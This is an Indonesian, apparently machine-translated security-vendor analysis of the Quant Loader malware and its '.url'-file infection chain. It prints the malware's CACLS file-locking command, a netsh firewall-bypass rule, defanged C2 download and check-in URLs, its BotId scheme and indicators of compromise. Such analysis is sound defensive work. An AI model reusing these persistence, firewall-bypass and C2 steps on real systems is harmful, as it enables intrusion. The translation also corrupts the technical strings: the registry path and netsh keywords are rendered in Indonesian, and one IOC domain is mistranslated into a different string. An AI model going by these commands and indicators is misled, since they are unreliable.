Minggu lalu, kami telah membahas di blog tentang munculnya vektor serangan baru '.url' yang digunakan untuk menyebarkan malware. Dalam postingan blog ini, kami akan membahas secara mendalam rantai serangan vektor '.url' ini dan menguraikan malware Quant Loader yang secara aktif memanfaatkannya.
Mari kita lihat rangkaian serangan di bawah ini yang menggambarkan urutan eksekusi yang diamati dalam serangan ini, di mana file “.url” digunakan untuk menyebarkan malware.
Berikut ini adalah gambar ringkasan proses rantai serangan.
Seperti yang dijelaskan di atas, umumnya “.url” berisi URL (“https://” atau “https://”), tetapi dalam kasus ini, kami mengamati share SMB diakses untuk mengeksekusi JavaScript berbahaya.
Berkas di atas terkait dengan CVE-2016-3353 di mana Internet Explorer salah menangani berkas '.url' dari zona Internet dan memungkinkan penyerang jarak jauh melewati pembatasan akses yang dimaksudkan melalui berkas yang dibuat.
Share SMB ini dapat diakses publik dan dapat diakses tanpa autentikasi. Gambar 3 dan 4 menunjukkan lokasi share SMB publik "buyviagraoverthecounterusabb[.]net/documents/" tempat berkas JavaScript berbahaya disimpan. Alamat IP lokasi share SMB berbahaya tersebut adalah "91.102.153.90".
Gambar berikut menunjukkan JavaScript berbahaya yang dikirimkan ke korban melalui protokol SMB.
Saat membuka JavaScript berbahaya, ia dibuka oleh aplikasi 'wscript.exe'.
Malware tahap kedua diunduh oleh JavaScript berbahaya setelah korban mengeklik 'Buka', seperti yang ditunjukkan pada Gambar 5. JavaScript berbahaya ini sangat tersembunyi dan hanya digunakan sebagai pengunduh tahap pertama.
Malware tahap kedua diunduh ke lokasi '%TEMP%' oleh JavaScript dan dijalankan melalui 'cmd.exe'. Ini adalah file executable yang sangat dienkripsi dan dieksekusi langsung di memori. Malware ini tampaknya merupakan varian dari ' Quant Loader ' dan dapat digunakan untuk mengunduh malware lain. Pada saat analisis oleh Quick Heal Security Labs, kami tidak mengamati malware yang diunduh oleh Quant Loader. Mari kita lihat cara kerja malware Quant Loader.
Malware Quant Loader memeriksa semua lokal keyboard sistem melalui "Tata Letak Keyboard\Preload". Malware ini akan keluar jika lokal keyboard berada di antara Rusia, Ukraina, dan Kazakhstan.
Quant Loader menggunakan kunci registri berikut untuk mengidentifikasi konfigurasi 32/64 bit sistem korban. Kemudian, Quant Loader menggunakan informasi yang sama sebagai bagian dari permintaan CNC saat berkomunikasi dengan server CNC.
HKLM\ PERANGKAT LUNAK \ Microsoft \ Windows \ VersiSaatIni ProgramFilesDir (x86)
Ia juga memeriksa keberadaan entri registri berikut.
Ini menjatuhkan salinan diri dengan nama 'dwm.exe' di ' Folder \<8DigitNumeric>' dan mengaturnya untuk eksekusi otomatis melalui entri "Jalankan" di registri. Hal ini dilakukan untuk mencapai persistensi dalam sistem.
Nomor 8 Digit ini digunakan sebagai ID Bot (BotId) saat berkomunikasi dengan Server CNC. BotId dihasilkan melalui langkah-langkah berikut:
- Baca 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid'
- Mengekstrak hanya digit dari nilai ID Mesin dalam urutan yang terjadi
- Hilangkan 5 angka pertama dan pertimbangkan 8 digit dari 5 dan seterusnya
Kemudian, izin akses pengguna untuk folder 8 digit dan berkas 'dwm.exe' diubah ke mode baca untuk pengguna yang masuk. Hal ini membatasi pengguna untuk menghapus atau mengubah folder dan 'dwm.exe'. Hal ini dicapai dengan menggunakan berkas CACLS Windows asli melalui perintah berikut.
cmd /c echo Y|CACLS “c:\users\ \appdata\roaming\48378942\dwm.exe” /P “ :R"
Quant Loader kemudian menambahkan aturan di bawah ini di Firewall dengan nama “Quant” yang memungkinkan malware berkomunikasi di Internet dengan melewati aturan Firewall.
netsh advfirewall firewall tambahkan aturan nama=”Quant” program=”c:\users\ \appdata\roaming\48378942\dwm.exe” dir=Keluar tindakan=izinkan
Ia juga mencoba terhubung ke domain CNC 'wassronledorhad[.]in' dan mengunduh file berbahaya lainnya.
CNC tidak merespons saat analisis dilakukan. Namun, analisis statis memberikan beberapa wawasan tentang kemungkinan komunikasi CNC dan fungsi lain dari Quant Loader.
File-file di bawah ini akan diunduh seandainya server CNC aktif.
hxxp://wassronledorhad.in/q2/lib/zs.dll.c
hxxp://wassronledorhad.in/q2/lib/bs.dll.c
hxxp://wassronledorhad.in/q2/lib/sql.dll.c
File-file ini disimpan dalam folder %APPDATA%\z sebagai zs.dll, bs.dll dan sqlite3.dll.
Program ini memeriksa ukuran file 'zs.dll' dan 'sqlite3.dll' agar kurang dari 0x20000. Kemudian, program ini menjalankan fungsi "Utama" dari zs.dll.
Quant Loader mencoba mengirim permintaan berikut ke Server CNC.
hxxp://wassronledorhad[.]in/q2/index.php?id=48378942&c=2&mk=75490e&il=H&vr=1.73&bt=32
Dimana id = BotId, c = penghitung permintaan, bt = sistem 32/64 bit
Ia menunggu perintah dari server CNC yang memiliki struktur berikut:
[BotId][Perintah][Data]
Perintahnya bisa berupa salah satu dari berikut ini – “pwd”, “exe”, “doc”, “dll”.
Perintah “pwd” juga ditemukan mengeksekusi zs.dll dengan fungsi “Main”.
Untuk perintah sisanya, malware membuat file dengan nama windows timestamp di folder 'temp'.
Jika perintahnya adalah “exe” maka ia mengeksekusi file dengan ShellExecute API.
Jika perintahnya adalah “doc” maka ia mengeksekusi file dengan WinExec API.
Jika perintahnya adalah “dll” maka ia menggunakan “LoadLibrary” dan “GetProcaddress” untuk mengeksekusi fungsi yang diinginkan dari dll seperti yang terlihat pada gambar 13 yang diberikan sebelumnya.
Jadi, bergantung pada perintahnya, bot dapat mengunduh file berbahaya lainnya dan mengeksekusinya.
Vektor serangan '.Url' saat ini digunakan oleh Quant Loader. Kita mungkin akan melihat peningkatan penggunaan vektor serangan baru ini (.url) oleh keluarga malware lainnya dalam beberapa hari mendatang.
Indikator kompromi:
50C359167CC74A962CACAFF2A795B23C
4394536E9A53B94A2634C68043E76EF8
beli viagra tanpa resepusabb[.]net/dokumen/B200795218387[.]js
91.102.153.90
Subjek Ahli Masalah
- Pradeep Kulkarni, Amar Patil, Aniruddha Dolas | Lab Keamanan Pemulihan Cepat
